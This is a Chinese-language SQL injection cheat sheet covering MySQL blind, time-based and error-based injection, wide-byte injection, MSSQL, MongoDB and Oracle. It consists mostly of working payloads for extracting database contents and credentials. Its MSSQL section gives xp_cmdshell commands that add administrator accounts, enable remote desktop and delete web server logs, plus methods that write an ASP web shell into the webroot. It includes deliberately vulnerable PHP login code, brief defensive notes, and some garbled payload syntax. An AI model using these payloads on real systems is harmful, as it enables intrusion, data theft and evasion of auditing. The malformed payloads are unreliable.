'SQL注入总结'

1. SQL注入原理

前端有一个参数用户可控
服务器对该参数没有过滤或过滤不严谨
本质:把用户输入的数据当作代码来执行,违背了“数据与代码分离”的原则

2. SQL注入危害

读取数据库的数据
修改或删除数据
getshell
往服务器读写文件

3. 显错注入

3.1 常用函数

3.1.1 显示信息

1
2
3
4
5
6
7
8
user() 
@@hostname
version()
@@version
database()
@@tmpdir
@@datadir
@@basedir

3.1.2 拼接字段

1
2
3
4
5
6
concat() 拼接多个字符串
concat(username,0x7e,password)
group_concat() 拼接表头
group_concat(username,password)
concat_ws() 拼接字符串,第一个字符串为分割符
concat_ws(0x7e,username,password)

3.1.3 截取字段

1
2
3
4
5
mid() 适用于MySQL
substring() 适用于MySQL SQLSERVER
substr() 适用于Oracle MySQL SQLSERVER
left()
right()

3.1.4 条件判断

1
2
3
if(判断的条件,条件为真返回值,条件为假返回值)
select if("1=1",'true','false');
select if(ascii(substr(database(),1,1))>92,'true','false');
1
2
3
case when 判断的条件 then 条件为真返回值 else 条件为假返回值 end
select case when 1=1 then 'true' else 'false' end;
select case when ascii(substr(database(),1,1))>92 then 'true' else 'false' end;

3.1.5 判断字段数

1
order by

3.2 数据库的注释

1
2
3
4
5
#
%23
--+
--&nbsp
--%20

3.3 union 联合查询

联合查询的前后字段数要求相同

1
select uname,password,gender from users union select 1,2,3;

3.4 系统数据库

3.4.1 information_schema

mysql版本5.0以上,系统自带。
汇总所有数据库的库名、表名、字段名。

3.4.1.1 columns表

字段名 存放数据
table_schema 存放所有数据库的库名
table_name 存放所有表名
column_name 存放所有字段名
privileges 存放可操作语句

3.4.1.2 tables表

字段名 存放数据
table_schema 存放所有数据库的库名
table_name 存放所有表名

3.4.2 常用查询

3.4.2.1 查询所有数据库的库名

1
select distinct table_schema from information_schema.columns;

3.4.2.2 查询数据库中某个数据库中的所有表名

1
select distinct table_name from information_schema.columns where table_schema='chessur';

3.4.2.3 查询数据库中某个数据库中某个表的所有字段名

1
select distinct column_name from information_schema.columns where table_schema='chessur' and table_name='users';

3.5 手工注入流程

3.5.1 Step 1 判断是否有注入

判断从后台数据库中选取的列数,判断哪几列在前端显示

3.5.2 Step 2 收集数据库信息(用户名,版本,当前数据库名)

1
2
3
select version();
select user();
select database();

3.5.3 Step 3 获取当前数据库下的所有表名

1
select group_concat(distinct table_name) from information_schema.columns where table_schema=database();

3.5.4 Step 4 获取当前数据库下指定表中字段名

1
select group_concat(distinct table_name) from information_schema.columns where table_schema=database() and table_name='users';

3.5.5 Step 5 获取字段对应的数据

1
select group_concat(distinct password) from users;

3.5.6 Step 6 解密数据

数据库中有些数据会加密存放,所以需要解密。

4. 盲注

因为不能回显错误信息,所以盲注要一个字符一个字符的尝试,通过二分法可以节省很多时间。

4.1 常用函数

4.1.1 显示字段长度

1
length()

4.1.2 显示ASCII

1
2
ascii()
ord()

4.1.3 截取字段

1
2
3
4
5
mid() 适用于MySQL
substr() 适用于Oracle MySQL SQLSERVER
substring() 适用于MySQL SQLSERVER
left()
right()

4.1.4 等待函数

1
sleep()
1
benchmark()

4.2 布尔盲注

4.2.1 Step 1 探测注入点

1
2
3
?id=1' 
?id=1' and 1=1 #
?id=1' and '1'='1 #

根据页面的显示效果判断是否有注入点

4.2.2 Step 2 收集数据信息

收集当前用户名、当前数据库、当前数据库版本

1
and substr((select version()),1,1)>4 //判断数据库版本是否大于4

5.0以上的mysql数据库有information_schema数据库。

4.2.3 Step 3 查询当前数据库中的表名

1
2
and ord(substr((select group_concat(distinct table_name)from information_schema.columns where table_schema=database()),1,1))=33 //判断第一个字符
and ord(substr((select group_concat(distinct table_name)from information_schema.columns where table_schema=database()),2,1))=33 //判断第二个字符
1
2
3
4
5
and length((select table_name from information_schema.columns where table_schema=database() limt 1,1)) //第一个表名长度
and length((select table_name from information_schema.columns where table_schema=database() limt 1,1)) //第二个表名长度
and ascii(substr((select distinct table_name from information_schema.columns where table_schema=database() limit 0,1),1,1)) //第一个表的第一个字符
and ascii(substr((select distinct table_name from information_schema.columns where table_schema=database() limit 0,1),2,1)) //第一个表的第二个字符
and ascii(substr((select distinct table_name from information_schema.columns where table_schema=database() limit 1,1),1,1)) //第二个表的第一个字符

4.2.4 Step 4 获取指定表的字段名

1
2
3
and ascii(substr((select distinct column_name from information_schema.columns where table_schema=database() and table_name=users limit 0,1),1,1))=33 //判断第一个字段的第一个字符
and ascii(substr((select distinct column_name from information_schema.columns where table_schema=database() and table_name=users limit 0,1),2,1))=33 //判断第一个字段的第二个字符
and ascii(substr((select distinct column_name from information_schema.columns where table_schema=database() and table_name=users limit 1,1),1,1))=33 //判断第二个字段的第一个字符

4.2.5 Step 5 获取字段数据

1
2
3
and ascii(substr((select concat(username,password)from users limit 0,1),1,1))=33 //判断第一个数据的第一个字符
and ascii(substr((select concat(username,password)from users limit 0,1),2,1))=33 //判断第一个数据的第二个字符
and ascii(substr((select concat(username,password)from users limit 0,1),1,1))=33 //判断第二个数据的第一个字符

4.3 延时注入

无法通过布尔盲注来判断SQL语句是否执行成功时,可以尝试报错延时注入。
延时注入也叫基于时间的盲注。
判断依据:页面加载时间
延时注入使用条件判断语句以及等待函数来判断SQL语句是否执行成功。

4.3.1 延时函数

4.3.1.1 sleep()

1
sleep(5) //让数据库等待5秒,再返回结果

4.3.1.2 benchmark()

1
benchmark(500000000,md5('abc'))

4.3.1.3 Heavy Query(笛卡尔积)

有些时候,无法使用延时函数来进行延时注入。这种情况下,最好的选择是使用数据库需要执行很久的sql语句。

1
SELECT count(*) FROM information_schema.columns A, information_schema.columns B, information_schema.columns C

上面这个语句,在我的数据库中执行了22.15秒

4.3.1.4 get_lock()

锁定一个变量之后,另一个session再次包含这个变量就会产生延迟。

1
select get_lock(str,timeout);

先查询

再开一个进行查询

4.3.1.5 正则匹配

正则匹配在匹配较长字符串但自由度比较高的字符串时,会造成比较大的计算量,我们通过rpadrepeat构造长字符串,加以计算量大的pattern,通过控制字符串长度我们可以控制延时。

1
select rpad('a',4999999,'a') RLIKE concat(repeat('(a.*)+',30),'b');

4.3.2 条件判断

1
2
3
if(判断的条件,条件为真返回值,条件为假返回值)
select if("1=1",'true','false');
select if(ascii(substr(database(),1,1))>92,'true','false');
1
2
3
case when 判断的条件 then 条件为真返回值 else 条件为假返回值 end
select case when 1=1 then 'true' else 'false' end;
select case when ascii(substr(database(),1,1))>92 then 'true' else 'false' end;

4.3.3 基本构造

1
?id=1' and if(1=1,1,sleep(5)) #

4.3.4 注入流程

4.3.4.1 Step 1 探测注入点

1
2
3
?id=1' 
?id=1' and 1=1 #
?id=1' and '1'='1 #

4.3.4.2 Step 2 收集数据信息

1
2
3
?id=1 and if(substr(version(),1,1)>4,1,sleep(5)) #
?id=1 and if(ord(substr(database(),1,1))=33,1,sleep(5)) #
?id=1 and if(ord(substr(database(),2,1))=33,1,sleep(5)) #

4.3.4.3 Step 3 查询当前数据库中的表名

1
2
3
?id=1 and if(ord(substr((select table_name from information_schema.columns where table_schema=database() limit 0,1),1,1))=33,1,sleep(5))
?id=1 and if(ord(substr((select table_name from information_schema.columns where table_schema=database() limit 0,1),2,1))=33,1,sleep(5))
?id=1 and if(ord(substr((select table_name from information_schema.columns where table_schema=database() limit 1,1),1,1))=33,1,sleep(5))

4.3.4.4 Step 4 查询指定表的字段名

1
2
3
?id=1 and if(ord(substr((select column_name from information_schema.columns where table_schema=database() and table_name=users limit 0,1),1,1))=33,1,sleep(5))
?id=1 and if(ord(substr((select column_name from information_schema.columns where table_schema=database() and table_name=users limit 0,1),2,1))=33,1,sleep(5))
?id=1 and if(ord(substr((select column_name from information_schema.columns where table_schema=database() and table_name=users limit 1,1),1,1))=33,1,sleep(5))

4.3.4.5 Step 5 获取字段数据

1
2
3
and if(ascii(substr((select concat(username,password)from users limit 0,1),1,1))=33,1,sleep(5))
and if(ascii(substr((select concat(username,password)from users limit 0,1),2,1))=33,1,sleep(5))
and if(ascii(substr((select concat(username,password)from users limit 1,1),1,1))=33,1,sleep(5))

4.4 DNSlog在盲注中的使用

4.4.1

5. 报错注入

5.1 extractvalue(参数1,参数2)

从目标XML中返回查询的字符串,参数1是string格式,XML文档名,参数2是XPATH格式,要查询的字符串

1
and extractvalue(1,concat(0x7e,(select user()),0x7e))

5.2 updatexml(参数1,参数2,参数3)

改变文档中符合条件的节点的值,参数1是XML文档,参数2是XPATH格式的字符串,参数3是string格式的替换查找符合条件的数据

1
and updatexml(1,concat(0x7e,(select user()),0x7e),1)

前两个报错函数的长度有限制 32位

5.3 floor()

必须和count() rand() group by一起使用才能报错

1
select * from messages where ID=1 and (select 1 from (select count(*),concat(user(),floor(rand(0)*2))x from information_schema.tables group by x)a)

5.3.1 原理

报错原因是主键重复,这个主键是虚拟表的主键。
再进行group by查询过程中,先建立一张虚拟表,一行一行地插入内容,rand()函数也会多次计算,由于floor(rand(0)*2)能产生的值只有0和1,所以在第三次查询的时候就必然产生重复,所以第三次查询时必会报错。

1.查询前默认会建立空虚拟表

2.取第一条记录,执行floor(rand(0)*2),发现结果为0(第一次计算),查询虚拟表,发现0的键值不存在,则floor(rand(0)*2)会被再计算一次,结果为1(第二次计算),插入虚表,这时第一条记录查询完毕

3.查询第二条记录,再次计算floor(rand(0)*2),发现结果为1(第三次计算),查询虚表,发现1的键值存在,所以floor(rand(0)*2)不会被计算第二次,直接count(*)加1,第二条记录查询完毕

4.查询第三条记录,再次计算floor(rand(0)*2),发现结果为0(第4次计算),查询虚表,发现键值没有0,则数据库尝试插入一条新的数据,在插入数据时floor(rand(0)*2)被再次计算,作为虚表的主键,其值为1(第5次计算),然而1这个主键已经存在于虚拟表中,而新计算的值也为1(主键键值必须唯一),所以插入的时候就直接报错了。

5.整个查询过程floor(rand(0)*2)被计算了5次,查询原数据表3次,所以这就是为什么数据表中需要3条数据,使用该语句才会报错的原因。

From:【学习笔记】MYSQL的floor报错原理分析总结

5.4 GeometryCollection()

1
and GeometryCollection((select * from(select * from(select user ())a)b))

5.5 NAME_CONST()

1
and (select * from (select NAME_CONST(version(),1),NAME_CONST(version(),1)) as x)

只能用来暴版本信息

5.6 join

1
2
and (select * from(select * from mysql.user a join mysql.user b)c)
and (select * from (select * from mysql.user as a join mysql.user as b) as c)

只能用来暴列名,在暴出第一个列名后,在b后加上using(columnname)可以暴出第二个列名,使用,分隔,多个列名

1
and (select * from(select * from mysql.user a join mysql.user b using(Host,User,Password))c)

5.7 exp()

1
and exp(~(select * from (select user () ) a) );

5.8 polygon()

1
and polygon (()select * from(select user ())a)b );

5.9 multipoint()

1
and multipoint (()select * from(select user() )a)b );

5.10 multlinestring ()

1
and multlinestring (()select * from(selectuser () )a)b );

5.11 multpolygon ()

1
and multpolygon (()select * from(selectuser () )a)b );

5.12 linestring ()

1
and linestring (()select * from(select user() )a)b );

6. 伪静态注入

6.1 伪静态网站

页面展示时html一类的静态页面,但其实使用asp一类的动态脚本来处理的。

6.2 生成伪静态网站

以PHP为例

6.2.1 开启Apache的mod_rewrite

1
2
/apache/conf/httpd.conf
LoadModule rewrite_module

6.2.2 让Apache支持.htacess

1
2
/apache/conf/httpd.conf
AllowOverride All

6.2.3 建立.htacess文件

在文件中写入

1
2
RewriteEngine on
RewriteRule (.*)\.html$ index.php?id=$1

RewriteRule 实质时正则表达式进行匹配,可以根据自己需求更改

6.3 分辨真/伪静态网站

可以通过查看网页最后修改时间来判断
在地址栏输入

1
javascript:alert(document.lastModified)

如果得到的时间和现在时间一致,则为伪静态网站,反之是真静态网站。

6.4 手工注入

6.4.1 判断注入点

1
2
?1'/**/and/**/1=1/*.html 
?1'/**/and/**/1=2/*.html

6.4.2 Tips

伪静态的注入和URL的普通GET注入不太相同。
普通url的get注入的%20,%23,+等都可以用;但是伪静态不行,会被直接传递到到url中,所以用/**/这个注释符号表示空格。
From:伪静态注入的总结

7. 宽字节注入

7.1 原理

数据库中采用GBK编码,并对用户输入的数据进行转义
GBK中汉字占用2个字节
ASCII中汉字占用1个字节

7.2 常见转义函数

1
2
3
4
addslaches()
mysql_real_escape_string() //不会对%和_进行转义
mysql_escape_string() //5.3及以后就废弃
magic_quotes_gpc //魔术引号GPC模块

7.2.1 转义

1
2
3
4
' ---> \'
" ---> \"
\ ---> \\
NULL ---> \NULL

7.3 注入过程

1
2
3
4
id=1%df' 
id=1%df\' //'转义为\'
id=1%df%5c' //\的URL编码为%5c
id=1運' //%df%5c在数据库中因为GBK编码变为運,'逃逸出来,形成注入点

7.4 手工注入

和显错注入过程相同

7.5 PDO宽字节注入

7.5.1 条件

1.数据库使用GBK编码
2.使用转义函数,如addslaches()
3.PHP版本<5.3.6 使用PDO连接数据库,没有参数过滤

7.5.2 防御

7.5.2.1 使用mysqli_set_charset() 而不是 set names

mysqli_set_charset()和set names的区别查看深入理解SET NAMES和mysql(i)_set_charset的区别

7.5.2.2 使用mysql_real_escape_string()

mysql_real_escape_string()与addslashes的不同之处在于其会考虑当前设置的字符集,不会出现前面df和5c拼接为一个宽字节的问题,使用mysqli_set_charset进行指定字符集

7.5.2.3 正确使用占位符

确保每一个传入参数都先使用占位符进行代替

7.5.2.4 使用预处理

注意,即使mysql版本支持预处理,某些语句mysql无法支持prepare,那么pdo在处理时还是会使用模拟预处理。这样可能会存在注入的风险。
具体可以查看这篇回答:are-pdo-prepared-statements-sufficient-to-prevent-sql-injection

8. 二次解码注入

8.1 原理

浏览器出去的数据会被进行URL编码,到达服务器之后,默认会被URL解码
mysql_real_escape_string()等转义函数是在urldecode()之前,所以并不能过滤由于urldecode()产生的单引号。

8.2 过程

1
2
3
id=1%25%32%27
id=1%27 //
id=1' //urldecode()

8.3 防御

8.3.1 预处理

使用PDO的prepare进行预编译处理数据库查询

8.3.2 过滤函数

PHP常使用的过滤函数有addslashes()、mysql_escape_string()、msyql_real_string()、intval()函数等,在程序进行SQL语句运行之前使用。

8.3.3 魔术引号

通常数据污染的方式有两种:一种是应用被动接收参数,类似于GET、POST等;另一种是主动获取参数,类似与读取远程桌面页面或者文件内容等。在PHP中魔术引号配置方法,magic_quotes_gpc负责对GET、POST、COOKIE的值进行过滤,magic_quotes_runtime对数据库或者文件中获取的数据进行过滤。

9. HTTP头部注入

9.1 cookie注入

post和get方式被过滤,只能通过cookie传递数据,刚好服务器没有过滤cookie数据,然后在cookie中添加测试的payload

1
javascript:alert(document.cookie="id="+escape("25"))

9.2 XFF注入

1
python sqlmap.py -u "" --headers="x-forwarded-for:*" -v --batch

10. 二次注入

二次注入是指已存储(数据库、文件)的用户输入被读取后再次进入到 SQL 查询语句中导致的注入

10.1 原理

在第一次进行数据库插入数据的时候,仅仅只是使用了 addslashes 或者是借助 get_magic_quotes_gpc 对其中的特殊字符进行了转义,在写入数据库的时候还是保留了原来的数据,但是数据本身还是脏数据

10.2 示例

10.2.1 注册脏用户

10.2.2 退出重新登录

10.2.3 留言

1
,(select admin_pass from admin limit 0,1),1);#

10.2.4 二次注入结果

11. MSSQL注入

11.1 注入过程

11.1.1 Step 1:判断注入点

和mysql数据库判断方式相同

1
2
3
4
and 1=1
and 1=2
/
-0

11.1.2 Step 2:判断数据库类型

1
2
3
4
select * from sysobjects
?1 and exists(select * from sysobjects)
and (select count(\*) from sysobjects)>0 mssql
and (select count(\*) from msysobjects)>0 access

11.1.3 Step 3:注入点权限判断

1
2
3
4
select IS_SRVROLEMEMBER('sysadmin');
select IS_SRVROLEMEMBER('db_owner');
select IS_SRVROLEMEMBER('public');//有public权限可以暴破表
http://target.com?id=1 and 1=(select IS_SRVROLEMEMBER('sysadmin'))

11.1.4 Step 4:信息收集

1
2
3
4
5
6
7
8
9
10
11
数据库版本 select @@version 
http://target.com?id=1 and @@version>0
http://target.com?id=1 and 1=(select @@version)
http://target.com?id=1 and user>0
查询当前数据库
http://target.com?id=1 and 1=(select db_name())
http://target.com?id=1 and 1=(convert(int,db_name()))
db_name(n)表示第几个数据库
获取其他数据库
SELECT top 1 Name FROM Master..SysDatabases where name not in ('master','aspcms');
select DB_NAME(1);

11.1.5 Step 5:获取当前数据库下的表

1
2
select top 1 name from aspcms.sys.all_objects where type='U' AND is_ms_shipped=0
select top 1 name from aspcms.sys.all_objects where type='U' AND is_ms_shipped=0 and name not in ('AspCms_Collect_Content')

11.1.6 Step 6:获取当前数据库下指定表的字段名

1
2
3
如:AspCms_User
select top 1 COLUMN_NAME from aspcms.information_schema.columns where TABLE_NAME='AspCms_User'
select top 1 COLUMN_NAME from aspcms.information_schema.columns where TABLE_NAME='AspCms_User' and COLUMN_NAME not in ('UserID','GroupID','LanguageID','SceneID','LoginName','Password')

11.1.7 Step 7:获取字段内容

1
2
3
4
select top 1 LoginName from AspCms_User
select top 1 Password from AspCms_User
select top 1 LoginName from AspCms_User where LoginName not in ('admin')
http://target.com?id=1 and 1=(select top 1 Password from AspCms_User)

上面的都是通过类型不匹配,系统强制转换来显示数据

11.2 利用MSSQL扩展存储注入攻击

11.2.1 检测与恢复扩展存储

判断xp_cmdshell扩展存储是否存在

1
and 1=(select count(*) from master.dbo.sysobjects where xtype = 'x' AND name = 'xp_cmdshell')

判断xp_regread扩展存储过程是否存在

1
and 1=(select count(*) from master.dbo.sysbojects where name='xp_regread')

恢复

1
2
3
4
5
EXEC sp_configure 'show advanced options',1;
RECONFIGURE;
EXEC sp_configure 'xp_cmdshell',1;
RECONFIGURE;
exec sp_dropextendedproc xp_cmdshell,'xplog70.dll';

11.2.2 sa权限下扩展存储攻击利用方法

11.2.2.1.利用xp_cmdshell扩展执行任意命令

11.2.2.1.1 开启xp_cmdshell的方法
1
2
3
4
5
sql server20055下开启xp_cmdshell
EXEC sp_configure 'show advanced options',1;
RECONFIGURE;
EXEC sp_configure 'xp_cmdshell',1;
RECONFIGURE;
11.2.2.1.2 查看C盘
1
2
3
4
;drop table black
;create TABLE black(mulu varchar(7996) NULL,ID int NOT NULL IDENTITY(1,1))--
;insert into black exec master..xp_cmdshell 'dir c:\'
and 1= (select top 1 mulu from black where id =1)
11.2.2.1.3 新建用户
1
2
;exec master..xp_cmdshell 'net user test test /add'
;exec master..xp_cmdshell 'net localgroup administrators test /add'
11.2.2.1.4 添加和删除一个SA权限的用户test (需要SA权限)
1
2
exec master.dbo.sp_addlogin test,password
exec master.dbo.sp_addsrvrolemember test,sysadmin
11.2.2.1.5 停掉或激活某个服务 (需要SA权限)
1
2
exec master..xp_servicecontrol 'stop','schedule'
exec master..xp_servicecontrol 'start','schedule'
11.2.2.1.6 爆网站目录
1
2
3
create table labeng(lala nvarchar(255),id int)
DECLARE @result varchar(255) EXEC master.dbo.xp_regread 'HKEY_LOCAL_MACHINE','SYSTEM\ControlSet001\Services\W3SVC\Parameters\Virtual Roots','/',@result output insert into labeng(lala) values(@result);
and 1=(select top 1 lala from labeng)或者and 1=(select count(*) from labeng where lala>1)
11.2.2.1.7 删除日志记录
1
;exec master.dbo.xp_cmdshell 'del c:\winnt\system32\logfiles\w3svc5\ex070606.log>c:\temp.txt
11.2.2.1.8替换日志记录
1
;exec master.dbo.xp_cmdshell 'copy c:\winnt\system32\logfiles\w3svc5\ex070404.log c:\winnt\system32\logfiles\w3svc5\ex070606.log >c:\temp.txt'
11.2.2.1.9 开启远程数据库
1
;select * from OPENROWSET('SQLOLEDB','server=servername;uid=sa;pwd=apachy_123','select * from table1')
11.2.2.1.10 开启远程数据库
1
;select * from OPENROWSET('SQLOLEDB','uid=sa;pwd=apachy_123;Network=DBMSSOCN;Address=202.100.100.1,1433;','select * from table')
11.2.2.1.11 打开3389
1
2
3
4
5
;exec master..xp_cmdshell 'sc config termservice start=auto'
;exec master..xp_cmdshell 'net start termservice'
;exec master..xp_cmdshell 'reg add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server" /vfDenyTSConnection/t REG_DWORD/d 0x0 /f' //允许外部连接
;exec master..xp_cmdshell 'reg add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal
Server\WinStations\RDP-Tcp" /v PortNumber /t REG_DWORD /d 0x50 /f'//端口改为80
11.2.2.1.12 利用sp_makewebtask写入一句话木马
1
2
3
4
;exec sp_makewebtask 'c:\inetpub\wwwroot\x.asp','select"%3c%25%65%76%61%6C%20%72%65%71%75%65%73%74%28%22%63%68%6F%70%70%65%72%22%29%25%3E"'--
http://mssql.sql.com/aspx.aspx?id=1%20;exec%20sp_makewebtask%20%20%27c:\inetpub\wwwroot\ms\x1.asp%27,%27select%27%27<%execute(request("cmd"))%>%27%27%27--
修改管理员密码
update admin set password=126326 where username='admin';

11.2.3 dbowner权限下的扩展攻击利用

11.2.3.1.判断数据库用户权限

1
and 1=(select is_member('db_owner'));--

11.2.3.2.搜索web目录

1
2
3
4
;create table temp(dir nvarchar(255),files varchar(255),files varchar(255),ID int NOT NULL IDENTITY(1,1));--
;insert into temp(dir,depth,files)exec master.dbo.xp_dirtree 'c:',1,1--
and (select dir from temp where id=1)>0
//由于不能一次性获取所有目录文件和文件夹名,因此需要更改ID的值,依次列出文件和文件夹

11.2.3.3.写入一句话木马

找到web目录后,就可以写入一句话木马了

1
2
3
4
5
6
;alter database ssdown5 set RECOVERY FULL
;create table test(str image)--
;backup log ssdown5 to disk='c:\test' with init--
;insert into test(str) values('<%excute(request("cmd"))%>')--
;backup log ssdown5 to disk='c:\inetpub\wwwroot\x.asp'--
;alter database ssdown5 set RECOVERY simple

12. Nosql注入

NOSQL(Not Only SQL)

12.1 MongoDB介绍和使用

基于分布式文件存储数据库 使用C++开发,支持跨平台,可以存储任何数据(文件)
允许在服务器端执行脚本,可以用JavaScript编写某些函数
使用Json形式存储数据
支持的编程语言:PHP、Ruby、Python、C++、C#、Java
使用db表示数据库

12.1.1 sql和nosql结构对比

sql Nosql 解释/说明
database database 数据库
table collection(记录) 数据库表/集合
row 文件 数据记录行/文件
column field 数据字段域
index index 索引
table join / 表连接,MongoDB不支持
primary key primary key 主键,MongoDB自动将_id字段设置为主键

12.1.2 MongoDB使用

12.1.2.1 对数据库的操作

12.1.2.1.1 创建数据库
1
use databasename
12.1.2.2 查看当前数据库
1
db
12.1.2.3 查看所有数据库
1
2
show dbs
show databases
12.1.2.4 删除数据库
1
db.dropDatabase()

12.1.2.2 对集合的操作

12.1.2.2.1查看所有集合
1
2
show tables;
show collections;
12.1.2.2.2 创建集合
1
db.creatCollection("collectionname")
12.1.2.2.3 创建集合并插入数据
1
db.collectionname.insert({key:value,key2:value2})
12.1.2.2.4 删除集合
1
db.collectionname.drop()

12.1.2.3 对文档的操作

12.1.2.3.1 查询表中所有文档
1
db.collectionname.find().pretty()
12.1.2.3.2 更新文档
1
2
3
db.collectionname.update(<query>,<update>)
<query> 条件
<update> 更新内容
12.1.2.3.2.1 更新单条数据
1
db.collectionname.update({"username":"Windy"},{$set:{"age":18}})
12.1.2.3.2.2更新多条数据
1
db.collectionname.update({"username":"Windy"},{$set:{"age":18}},{multi:true})
12.1.2.3.2.3删除数据
1
2
3
db.collectionname.remove()
db.collectionname.remove({"username":"Windy"})
db.collectionname.deleteMany({})//删除所有文档

12.1.2.4 查询语句

12.1.2.4.1 有条件查询
1
2
3
4
5
6
7
= {key:value} 寻找key=value的文档
< {key:{&lt:value}}
> {key:{&gt:value}}
<= {key:{&lte:value}}
>= {key:{&gte:value}}
!= {key:{&ne:value}}
$regex
1
db.collectionname.find({key:{&ge:value}})
12.1.2.4.2 and条件
1
db.collectionname.find({key:{$gt:value},key2:{$gt:value}})
12.1.2.4.3 or条件
1
db.collectionname.find($or:[{key:{$gt:value},key:{&lt:value}}])
12.1.2.4.4 正则查询
1
db.collectionname.find({key:{$regex:"regex"}})

12.2 PHP操作Mongodb

mongo(面向过程)

mongodb(面向对象)

12.3 MongoDB 注入

注入类型分类:重言式、联合查询、JavaScript注入

12.3.1 重言式(永真式)

1
db.users.find({"username":{$ne:"123"},"password":{$ne:"45"}})
1
username[$ne]=love&password[$ne]=love

12.3.1.1 正则

1
username[$regex]=^a&password[$regex]=^1

12.3.2 联合查询

在PHP新的mongo扩展和mongodb扩展中,已经停止对其支持。

12.3.3 JavaScript注入

1
2
3
4
5
6
7
8
9
10
function login() 
{
var username = '".$username."';
var password = '".$password."';
if(username == 'admin' && password == '123456')
return true;
else{
return false;
}
}

账号:a' return true; var a='
密码:1

12.3.4 Shell拼接利用

1
?username="});db.messages.insert({"name":"wangwu"});db.messages.find({"author":"1
1
db.messages.find({"author":"'.$username.'"}).sort({"addtime":-1});

12.4 注入实验

12.4.1 重言式注入

12.4.1.1 代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
<?php
$host = '127.0.0.1';
$port = '27017';
$username = '';
$password = '';
$tb_users = 'mymessage.users';
$tb_messages = 'mymessage.messages';
$manager = new MongoDB\Driver\Manager("mongodb://{$host}:{$port}}");

if (!empty($_POST['username']) && !empty($_POST['password'])) {
$username = $_POST['username'];
$password = $_POST['password'];

$query = array(
'username' => $username,
'password' => $password,
);
$query = new MongoDB\Driver\Query($query);
$cursor = $manager->executeQuery($tb_users, $query)->toArray();
if (count($cursor)>0) {
echo '<script language="JavaScript" type="text/javascript">alert("登陆成功!");</script>';
}else{
echo '<script language="JavaScript" type="text/javascript">alert("你的用户名或密码错误");</script>';
}
}
?>

<center>
<br />
<br />
<br />
<form action="login_2.php" method='post'>
<h3>名字:</h3>
<input type="text" name="username" style="width:10%;height:20px">
<h3>密码:</h3>
<input type="password" name="password" style="width:10%;height:20px">
<br /><br />
<input type="submit" name="submit" value="登录" style="width:4%;height:30px">
</form>
</center>

12.4.1.2 使用BP抓包

12.4.1.3 构造payload

12.4.1.4 注入结果

12.4.2 正则注入

12.4.2.1 代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
<?php
$host = '127.0.0.1';
$port = '27017';
$username = '';
$password = '';
$tb_users = 'mymessage.users';
$tb_messages = 'mymessage.messages';
$manager = new MongoDB\Driver\Manager("mongodb://{$host}:{$port}}");

if (!empty($_POST['username']) && !empty($_POST['password'])) {
$username = $_POST['username'];
$password = $_POST['password'];

$query = array(
'username' => $username,
'password' => $password,
);
$query = new MongoDB\Driver\Query($query);
$cursor = $manager->executeQuery($tb_users, $query)->toArray();
if (count($cursor)>0) {
echo '<script language="JavaScript" type="text/javascript">alert("登陆成功!");</script>';
}else{
echo '<script language="JavaScript" type="text/javascript">alert("你的用户名或密码错误");</script>';
}
}
?>

<center>
<br />
<br />
<br />
<form action="login_2.php" method='post'>
<h3>名字:</h3>
<input type="text" name="username" style="width:10%;height:20px">
<h3>密码:</h3>
<input type="password" name="password" style="width:10%;height:20px">
<br /><br />
<input type="submit" name="submit" value="登录" style="width:4%;height:30px">
</form>
</center>

12.4.2.2 使用BP抓包

12.4.2.3 将拦截到的数据包放到Intruder中

进行暴力破解之后,有3个匹配的结果

12.4.2.4 注入结果

将上面结果中的l1写在Intruder中继续暴破

得到的结果

重复上述步骤可以暴出账户和密码
若碰到没有办法出现正确结果,可以在正则表达式添加$验证匹配是否结束,还可以尝试在Intruder-Payloads Options中添加新的字符

整个过程可以写python脚本进行,我不会写就不说了

13. Oracle注入

13.1 Oracel数据库介绍

Oracle数据库系统是美国Oracle(甲骨文)提供一款关系型数据库管理系统。航空、物流、银行、铁路、金融交易常用。
特点:
1.支持多用户、大事物量的处理
2.数据安全性和完整性的有效控制
3.支持分布式数据处理
4.移植性强

13.2 判断数据库

13.2.1 判断注入

1
2
and 1=1
and 1=2

13.2.2 判断Oracle数据库

1
2
and exists(select * from dual)
and exists(select * from user_tables)

Oracle 表空间

13.3 判断列

1
order by

13.4 联合查询

1
2
union select null
用null代替数字

13.5 获取数据类型不匹配的列

在每列上逐个用数字代替,如果返回正常说明该列为数字类型,反之则为非数字类型。
也可以逐个用引号引起来,如:'null',null…from dual,返回正常说明该列为字符类型,反之为非数字类型。

13.6 获取基本信息

在非数字类型列上获取数据

13.6.1 获取数据库版本

1
select banner from sys.v_$version where rownum=1

13.6.2 获取操作系统版本

1
select member from v$logfile where rownum=1

13.6.3 获取连接数据库的当前用户

1
select SYS_CONTEXT('USERENV','CURRENT_USER')from dual

13.6.4 获取数据库

1
select owner from all_tables where rownum=1

13.6.5 获取第一个表

1
select table_name from user_tables where rownum=1

13.6.6 获取第二个表

1
select table_name from user_tables where rownum=1 and table_name<>'tablename'

13.6.7 获取表下的第一个列名

1
select column_name from user_tab_columns where table_name='tablename' and rownum=1

13.6.8 获取表下的第二个列名

1
select column_name from user_tab_columns where table_name='tablename' and rownum=1 and column_name<>'columnname'

13.6.9 获取数据

1
select columnname from tablename

13.6.10 注入特点

判断像access,order by和union select像mysql,爆表名、列名像mssql

13.7 第二种注入方式

13.7.1 判断表是否存在

在URL中加上

1
and (select count(*) from tablename)<>0

若返回正常,说明存在tablename表。如果返回错误,可以更改表名继续猜解。

可以使用字典进行暴破

1
and (select count(*) from admin)=1

返回正常说明只有一个管理员

13.7.2 判断表下列名是否存在

1
and (select count(columnname) from tablename)

13.7.3 使用ASCII码折半法猜解管理员账户和密码

1
and (select count(*) from where length(name)=5)=1

说明:length()函数用于求字符串的长度,此处猜测用户名的长度和5比较,即猜测是否由5个字符组成
若返回正常,说明长度大于等于5

1
and (select count(*) from tablename where ascii(substr(name,1,1))=97)=1

说明:substr()函数用于截取字符串,ascii()函数用于获取字符的ascii码,此处的意思是截取name字段的第一个字符,获取它的ascii码值,查询ascii码表可知97为字符a

14. Postgresql注入

